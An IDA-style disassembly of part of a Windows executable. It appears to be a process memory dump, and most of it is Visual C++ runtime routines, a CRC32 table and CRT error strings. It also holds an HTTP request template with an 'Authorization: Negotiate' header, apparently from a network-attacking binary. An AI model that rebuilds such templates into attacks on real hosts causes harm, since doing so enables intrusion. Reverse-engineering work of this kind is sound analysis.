cmp eax, 1
jnz short loc_4266E8
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2640000h
jmp loc_42682D
; ---------------------------------------------------------------------------
loc_4266E8: ; CODE XREF: sub_426636+93j
cmp eax, 2
jnz loc_42682B
cmp [ebp+arg_18], esi
jnz short loc_4266FE
mov eax, dword_4DBE94
mov [ebp+arg_18], eax
loc_4266FE: ; CODE XREF: sub_426636+BEj
push esi
push esi
push esi
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push 220h
push [ebp+arg_18]
call near ptr 2811010h
nop
mov [ebp+var_20], eax
cmp eax, esi
jz loc_42682B
mov [ebp+var_4], esi
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_1C], eax
jmp short loc_426744
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor esi, esi
mov [ebp+var_1C], esi
loc_426744: ; CODE XREF: sub_426636+100j
or [ebp+var_4], 0FFFFFFFFh
cmp [ebp+var_1C], esi
jz loc_42682B
push esi
push esi
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_C]
push [ebp+arg_8]
push 220h
push [ebp+arg_18]
nop
call near ptr 2811010h
test eax, eax
jz loc_42682B
push esi
push esi
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 264100Eh
mov edi, eax
mov [ebp+var_2C], edi
cmp edi, esi
jz loc_42682B
mov [ebp+var_4], 1
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4267C7
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor esi, esi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+var_2C]
loc_4267C7: ; CODE XREF: sub_426636+17Dj
cmp ebx, esi
jz short loc_42682B
push edi
push ebx
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 264100Eh
test eax, eax
jz short loc_42682B
test byte ptr [ebp+arg_4+1], 4
jz short loc_426805
mov eax, [ebp+arg_14]
cmp eax, esi
jz short loc_426827
cmp eax, edi
jl short loc_4267F6
mov eax, edi
loc_4267F6: ; CODE XREF: sub_426636+1BCj
push eax
push ebx
push [ebp+arg_10]
call sub_41BFD0
add esp, 0Ch
jmp short loc_426827
; ---------------------------------------------------------------------------
loc_426805: ; CODE XREF: sub_426636+1B1j
cmp [ebp+arg_14], esi
jnz short loc_42680E
push esi
push esi
jmp short loc_426814
; ---------------------------------------------------------------------------
loc_42680E: ; CODE XREF: sub_426636+1D2j
push [ebp+arg_14]
push [ebp+arg_10]
loc_426814: ; CODE XREF: sub_426636+1D6j
push edi
push ebx
push 1
push [ebp+arg_18]
nop
call near ptr 26F0000h
mov edi, eax
cmp edi, esi
jz short loc_42682B
loc_426827: ; CODE XREF: sub_426636+1B8j
; sub_426636+1CDj
mov eax, edi
jmp short loc_42682D
; ---------------------------------------------------------------------------
loc_42682B: ; CODE XREF: sub_426636+66j
; sub_426636+B5j ...
xor eax, eax
loc_42682D: ; CODE XREF: sub_426636+ADj
; sub_426636+1F3j
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_426636 endp
; =============== S U B R O U T I N E =======================================
sub_42683F proc near ; CODE XREF: sub_426636+81p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_42685E
loc_42684F: ; CODE XREF: sub_42683F+1Dj
cmp word ptr [eax], 0
jz short loc_42685E
inc eax
mov esi, ecx
inc eax
dec ecx
test esi, esi
jnz short loc_42684F
loc_42685E: ; CODE XREF: sub_42683F+Ej
; sub_42683F+14j
cmp word ptr [eax], 0
pop esi
jnz short loc_42686C
sub eax, [esp+arg_0]
sar eax, 1
retn
; ---------------------------------------------------------------------------
loc_42686C: ; CODE XREF: sub_42683F+24j
mov eax, edx
retn
sub_42683F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42686F proc near ; CODE XREF: sub_4265C1+35p
var_4 = dword ptr -4
arg_0 = word ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0FFFFh
jz short loc_4268AF
cmp [ebp+arg_0], 100h
jnb short loc_426893
movzx eax, [ebp+arg_0]
mov ecx, off_43CE7C
mov ax, [ecx+eax*2]
jmp short loc_4268B6
; ---------------------------------------------------------------------------
loc_426893: ; CODE XREF: sub_42686F+12j
push 0
lea eax, [ebp+var_4]
push 0
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 1
call sub_4268C1
add esp, 18h
test eax, eax
jnz short loc_4268B3
loc_4268AF: ; CODE XREF: sub_42686F+Aj
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_4268B3: ; CODE XREF: sub_42686F+3Ej
mov eax, [ebp+var_4]
loc_4268B6: ; CODE XREF: sub_42686F+22j
movzx ecx, [ebp+arg_4]
movzx eax, ax
and eax, ecx
leave
retn
sub_42686F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4268C1 proc near ; CODE XREF: sub_42686F+34p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427D48
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_4DC014
xor edi, edi
cmp eax, edi
jnz short loc_426930
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_427920
push esi
call near ptr 2610075h
nop
test eax, eax
jz short loc_42690E
mov eax, esi
jmp short loc_42692B
; ---------------------------------------------------------------------------
loc_42690E: ; CODE XREF: sub_4268C1+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset word_4CB88C
push esi
push edi
nop
call near ptr 261081Dh
test eax, eax
jz loc_426A72
push 2
pop eax
loc_42692B: ; CODE XREF: sub_4268C1+4Bj
mov dword_4DC014, eax
loc_426930: ; CODE XREF: sub_4268C1+2Fj
cmp eax, 1
jnz short loc_42694C
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2610075h
jmp loc_426A74
; ---------------------------------------------------------------------------
loc_42694C: ; CODE XREF: sub_4268C1+72j
cmp eax, 2
jnz loc_426A72
cmp [ebp+arg_10], edi
jnz short loc_426962
mov eax, dword_4DBE94
mov [ebp+arg_10], eax
loc_426962: ; CODE XREF: sub_4268C1+97j
push edi
push edi
push edi
push edi
push [ebp+arg_8]
push [ebp+arg_4]
push 220h
push [ebp+arg_10]
nop
call near ptr 2811010h
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz loc_426A72
mov [ebp+var_4], edi
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_2C], eax
push esi
push edi
push eax
call sub_41BF70
add esp, 0Ch
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4269C0
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_2C], edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_4269C0: ; CODE XREF: sub_4268C1+EAj
cmp [ebp+var_2C], edi
jz loc_426A72
push edi
push edi
push esi
push [ebp+var_2C]
push [ebp+arg_8]
push [ebp+arg_4]
push 220h
push [ebp+arg_10]
nop
call near ptr 2811010h
test eax, eax
jz loc_426A72
mov [ebp+var_4], 1
lea eax, [esi+esi+2]
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_24], ebx
jmp short loc_426A15
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
loc_426A15: ; CODE XREF: sub_4268C1+147j
or [ebp+var_4], 0FFFFFFFFh
cmp ebx, edi
jz short loc_426A72
mov eax, [ebp+arg_14]
cmp eax, edi
jnz short loc_426A29
mov eax, dword_4DBE84
loc_426A29: ; CODE XREF: sub_4268C1+161j
mov ecx, [ebp+arg_8]
lea edi, [ecx+ecx]
lea esi, [edi+ebx]
or word ptr [esi], 0FFFFh
or word ptr [esi-2], 0FFFFh
push ebx
push [ebp+var_28]
push [ebp+var_2C]
push [ebp+arg_0]
push eax
nop
call near ptr 261081Dh
mov [ebp+var_20], eax
cmp word ptr [esi-2], 0FFFFh
jz short loc_426A72
cmp word ptr [esi], 0FFFFh
jnz short loc_426A72
push edi
push ebx
push [ebp+arg_C]
call sub_41D670
add esp, 0Ch
mov eax, [ebp+var_20]
jmp short loc_426A74
; ---------------------------------------------------------------------------
loc_426A72: ; CODE XREF: sub_4268C1+61j
; sub_4268C1+8Ej ...
xor eax, eax
loc_426A74: ; CODE XREF: sub_4268C1+86j
; sub_4268C1+1AFj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4268C1 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_426A88 proc near ; DATA XREF: ___:00427EFCo
; FUNCTION CHUNK AT 0040D76C SIZE 00000008 BYTES
lea ecx, [ebp-38h]
jmp loc_40D76C
sub_426A88 endp
; ---------------------------------------------------------------------------
mov eax, [ebp-20h]
and eax, 1
test eax, eax
jz locret_426AA6
mov ecx, [ebp+8]
jmp loc_40D76C
; ---------------------------------------------------------------------------
locret_426AA6: ; CODE XREF: ___:00426A98j
retn
; ---------------------------------------------------------------------------
loc_426AA7: ; DATA XREF: sub_40D340o
mov eax, offset dword_427ED0
jmp loc_41D2FB
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp+14h]
jmp loc_40D76C
; ---------------------------------------------------------------------------
loc_426ABC: ; DATA XREF: ___:00427F2Co
lea ecx, [ebp-1Ch]
jmp loc_40D76C
; ---------------------------------------------------------------------------
loc_426AC4: ; DATA XREF: sub_40D4E2o
mov eax, offset dword_427F00
jmp loc_41D2FB
; ---------------------------------------------------------------------------
align 10h
loc_426AD0: ; DATA XREF: sub_40DA4Fo
mov eax, offset dword_427F30
jmp loc_41D2FB
; ---------------------------------------------------------------------------
mov ecx, [ebp-14h]
jmp sub_426564
; ---------------------------------------------------------------------------
loc_426AE2: ; DATA XREF: sub_4260FEo
mov eax, offset dword_427F90
jmp loc_41D2FB
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp loc_40D76C
; ---------------------------------------------------------------------------
loc_426AF4: ; DATA XREF: sub_426173o
mov eax, offset dword_428028
jmp loc_41D2FB
; ---------------------------------------------------------------------------
mov ecx, [ebp-14h]
jmp sub_426564
; ---------------------------------------------------------------------------
loc_426B06: ; DATA XREF: sub_4261D0o
mov eax, offset dword_42804C
jmp loc_41D2FB
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_426564
; ---------------------------------------------------------------------------
loc_426B18: ; DATA XREF: sub_426218o
mov eax, offset dword_428070
jmp loc_41D2FB
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp loc_40D76C
; ---------------------------------------------------------------------------
loc_426B2A: ; DATA XREF: sub_42629Ao
mov eax, offset dword_4280D0
jmp loc_41D2FB
; ---------------------------------------------------------------------------
dd 133h dup(0)
dd 25F0000h, 2600000h, 2600A9Ch, 2600B37h, 2610000h, 2610075h
dd 261081Dh, 2620000h, 26204D0h, 26206E4h, 2630000h, 2630163h
dword_427030 dd 263017Eh ; DATA XREF: ___:004239E2r
db 90h
db 2, 63h, 2
dd 263056Ch, 26305CEh, 2630714h, 2640000h, 264100Eh, 2650000h
dd 2650343h, 26508E6h, 2650918h, 2650951h, 2660000h
dword_427064 dd 2660559h ; DATA XREF: sub_41F216:loc_41F247r
dword_427068 dd 26606FEh ; DATA XREF: sub_41E742+240r
dd 77E75CB5h
dword_427070 dd 26608D5h ; DATA XREF: sub_40111D+B8r
; ___:004014FCr ...
dd 2660B67h, 2670000h, 26709F6h
dword_427080 dd 2670E97h ; DATA XREF: sub_40111D+29r
; sub_40C3E8+2E9r ...
dword_427084 dd 2680000h ; DATA XREF: ___:004015E2r
; sub_4116D6+32r
dd 26801F9h
dword_42708C dd 26802EFh ; DATA XREF: sub_419C09+B9r
dd 2680918h
dword_427094 dd 2680972h ; DATA XREF: sub_4119F9:loc_411A8Ar
dword_427098 dd 268099Dh ; DATA XREF: ___:loc_4013DCr
dd 2680D6Ah, 2680E33h
dword_4270A4 dd 2690000h ; DATA XREF: sub_409909+2r
dd 26901A5h, 2690262h
dword_4270B0 dd 269083Ah ; DATA XREF: ___:0040124Dr
; sub_41AA1E+8Cr
dword_4270B4 dd 26908E5h ; DATA XREF: sub_4116D6:loc_4117C2r
dd 26A0000h, 26A0BAAh
dword_4270C0 dd 26B0000h ; DATA XREF: sub_409909:loc_409E17r
dword_4270C4 dd 26B032Eh ; DATA XREF: sub_409909+11r
; sub_4172C1+60r ...
dd 26C0000h, 26D0000h, 26D04D8h, 26E0000h, 77F7E300h, 77F7E21Fh
dd 26E04C2h, 26E05A6h
dword_4270E8 dd 26F0000h ; DATA XREF: sub_419177+Fr
; sub_41E0D4+54r
dword_4270EC dd 26F107Dh ; DATA XREF: sub_4119F9+Br
dd 2700000h, 2710000h
dword_4270F8 dd 27107C1h ; DATA XREF: sub_4187E0+36r
dd 2710A1Ah, 2720000h
dword_427104 dd 27206A8h ; DATA XREF: sub_411920+3Ar
; sub_41A1B1+79r
dword_427108 dd 2730000h ; DATA XREF: sub_411827+23r
; sub_41A1B1+3Br
dd 27315A6h, 2740000h, 2740AF5h, 2750000h, 275064Ch, 2760000h
dd 2770000h, 27711CFh, 2771CC6h, 2780000h, 2780122h, 27802A0h
dd 27804FCh, 2790000h, 27907BAh
dword_427148 dd 27A0000h ; DATA XREF: sub_4172C1+BCr
dd 27B0000h
dword_427150 dd 27C0000h ; DATA XREF: sub_417493+21r
; sub_41761C+4Ar
dword_427154 dd 27C0AA9h ; DATA XREF: sub_417493+10r
; sub_41761C+40r ...
dd 27C0B1Eh
dword_42715C dd 27D0000h ; DATA XREF: sub_41761C+56r
dd 27D0310h, 27E0000h, 27E10C4h, 27E1707h, 27F0000h, 27F02CDh
dd 27F0498h, 2800000h, 2800764h, 2810000h
dword_427188 dd 2811010h ; DATA XREF: sub_4190A5+13r
; ___:00423A57r
dd 2820000h, 28204A5h, 2820938h, 2820CE0h, 2830000h, 2840000h
dd 28420B2h, 2850000h, 2851C10h, 2851C47h, 2860000h, 2860E19h
dd 2870000h, 0
dd 71AB5A01h, 71AB4122h
dword_4271CC dd 71AB1746h ; DATA XREF: sub_4131EC+1DEr
dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB12F8h, 71AB1746h
dd 71AB3E5Dh
dword_4271FC dd 71AB5690h ; DATA XREF: sub_40E9FB+6Ar
dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
dd 71AB157Eh, 2 dup(0)
dword_427220 dd 0 ; DATA XREF: sub_401070+26r
dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_427620 dd 2Eh ; DATA XREF: sub_401ACD+3428o
; sub_401ACD+3514o ...
dword_427624 dd 2Eh ; DATA XREF: sub_401ACD+3850o
; sub_401ACD+388Ao ...
aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D4E2+62o
db 'Host: %s',0Dh,0Ah
db 'Authorization: Negotiate %s',0Dh,0Ah
db 0Dh,0Ah,0
align 8
dbl_427668 dq 1.388888888888889e-2 ; DATA XREF: sub_40D2F4+2Fr
dbl_427670 dq 1.666666666666667e-1 ; DATA XREF: sub_40D2F4+15r
dword_427678 dd 0FFFFFFFFh ; DATA XREF: sub_40D340+16Fr
; sub_40D774r ...
align 10h
dbl_427680 dq 1.333333333333333 ; DATA XREF: sub_40D340+79r
dword_427688 dd 2 dup(0) ; DATA XREF: sub_40D4E2+4Do
; sub_40D824+5Bo ...
dbl_427690 dq 9.765625e-4 ; DATA XREF: ___:00416A5Dr
; ___:00416A78r ...
dbl_427698 dq -1.52587890625e-4 ; DATA XREF: sub_417E84+3E5r
dbl_4276A0 dq 3.0517578125e-4 ; DATA XREF: sub_417E84+3C5r
dbl_4276A8 dq -3.0517578125e-4 ; DATA XREF: sub_417E84+342r
; sub_417E84+3A7r
dbl_4276B0 dq 1.52587890625e-4 ; DATA XREF: sub_417E84+271r
dbl_4276B8 dq -1.739501953125e-3 ; DATA XREF: sub_417E84+24Br
; sub_417E84+2D5r ...
dbl_4276C0 dq 3.11279296875e-3 ; DATA XREF: sub_417E84+E1r
dbl_4276C8 dq 3.0517578125e-5 ; DATA XREF: sub_417E84+AEr
; sub_417E84+138r ...
dbl_4276D0 dq 6.103515625e-5 ; DATA XREF: sub_417E84+93r
; sub_417E84+308r
dbl_4276D8 dq 2.288818359375e-3 ; DATA XREF: sub_417E84+21r
dbl_4276E0 dq -3.0517578125e-5 ; DATA XREF: sub_418BD1+2Br
flt_4276E8 dd 9.765625e-4 ; DATA XREF: sub_41AA1E+1B0r
flt_4276EC dd 8.0 ; DATA XREF: sub_41AA1E+1AAr
flt_4276F0 dd 0.0 ; DATA XREF: sub_41AA1E+171r
flt_4276F4 dd 1.0e-3 ; DATA XREF: sub_41AA1E+168r
dbl_4276F8 dq 1.0 ; DATA XREF: sub_41D055+6Cr
; sub_41D19B+6Cr ...
dd 0FFFFFFFFh, 41E2AAh, 41E2BEh
a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041E5B8o
align 4
a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041E579o
align 4
byte_42773C db 6 ; DATA XREF: sub_41FF3F:loc_41FF96r
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
dd 8000008h, 7000800h, 8
aNull: ; DATA XREF: ___:off_43D094o
unicode 0, <(null)>,0
align 4
aNull_0 db '(null)',0 ; DATA XREF: ___:off_43D090o
align 10h
a_yn db '_yn',0
a_y1 db '_y1',0
a_y0 db '_y0',0
aFrexp db 'frexp',0
align 4
aFmod db 'fmod',0
align 4
a_hypot db '_hypot',0
align 4
a_cabs db '_cabs',0
align 4
aLdexp db 'ldexp',0
align 4
aModf db 'modf',0
align 4
aFabs db 'fabs',0
align 4
aFloor db 'floor',0
align 4
aCeil db 'ceil',0
align 4
aTan db 'tan',0
aCos db 'cos',0
aSin db 'sin',0
aSqrt db 'sqrt',0
align 4
aAtan2 db 'atan2',0
align 10h
aAtan db 'atan',0
align 4
aAcos db 'acos',0
align 10h
aAsin db 'asin',0
align 4
aTanh db 'tanh',0
align 10h
aCosh db 'cosh',0
align 4
aSinh db 'sinh',0
align 10h
aLog10 db 'log10',0
align 4
aPow db 'pow',0
aExp db 'exp',0 ; DATA XREF: ___:off_43D30Co
dbl_427860 dq 0.0 ; DATA XREF: sub_421BFF+8Cr
; sub_421BFF+ACr ...
dbl_427868 dq 4.195835e6 ; DATA XREF: sub_422114+Fr
dbl_427870 dq 3.145727e6 ; DATA XREF: sub_422114+6r
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_422152+Fo
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_422152o
align 10h
aE000 db 'e+000',0 ; DATA XREF: sub_422279+93o
align 4
dword_4278A8 dd 0FFFFFFFFh, 422964h, 42296Eh, 0 ; DATA XREF: sub_4228FD+5o
dword_4278B8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422A2C+5o
dd offset loc_422AEA
align 8
dd offset sub_422AC8
dd offset sub_422AD2
dword_4278D0 dd 0FFFFFFFFh, 422D1Ah, 422D1Eh, 0 ; DATA XREF: sub_422B62+5o
dword_4278E0 dd 0FFFFFFFFh, 422D7Ch, 422D85h, 0 ; DATA XREF: sub_422D26+5o
dword_4278F0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422DFC+5o
dd offset loc_422E4D
align 10h
dd offset loc_422E39
dd offset loc_422E3D
dword_427908 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422E52+5o
dd offset loc_422EA3
align 8
dd offset loc_422E8F
dd offset loc_422E93
dword_427920 dd 2 dup(0) ; DATA XREF: sub_4232A8+36o
; sub_4244F4+39o ...
dword_427928 dd 0FFFFFFFFh, 4233B8h, 4233BCh, 0FFFFFFFFh, 42346Ch, 423470h
; DATA XREF: sub_4232A8+5o
dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
dd 65682065h, 0A0D7061h, 0
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 10h
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 4
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 10h
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 4
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 4
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 4
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 4
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 10h
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_43D4DCo
db '- floating point not loaded',0Dh,0Ah,0
align 4
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_423DD1+119o
align 10h
asc_427BF0 db 0Ah ; DATA XREF: sub_423DD1+F1o
db 0Ah,0
align 4
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_423DD1+D3o
db 0Ah
db 'Program: ',0
align 10h
a___ db '...',0 ; DATA XREF: sub_423DD1+BFo
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_423DD1+7Do
align 10h
dword_427C30 dd 0FFFFFFFFh, 4245EDh, 4245F1h ; DATA XREF: sub_4244F4+5o
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_425029+3Do
align 10h
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_425029+35o
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_425029+24o
a1Qnan db '1#QNAN',0 ; DATA XREF: sub_425973:loc_425A68o
align 4
a1Inf db '1#INF',0 ; DATA XREF: sub_425973+D8o
align 4
a1Ind db '1#IND',0 ; DATA XREF: sub_425973+C7o
align 4
a1Snan db '1#SNAN',0 ; DATA XREF: sub_425973+ADo
align 4
dd offset dword_427DAC
off_427C90 dd offset loc_4260E2 ; DATA XREF: sub_4260BA+8o
; sub_4260FE+2Co ...
dd offset sub_4260D5
dd offset sub_4262F6
dd offset dword_427DF8
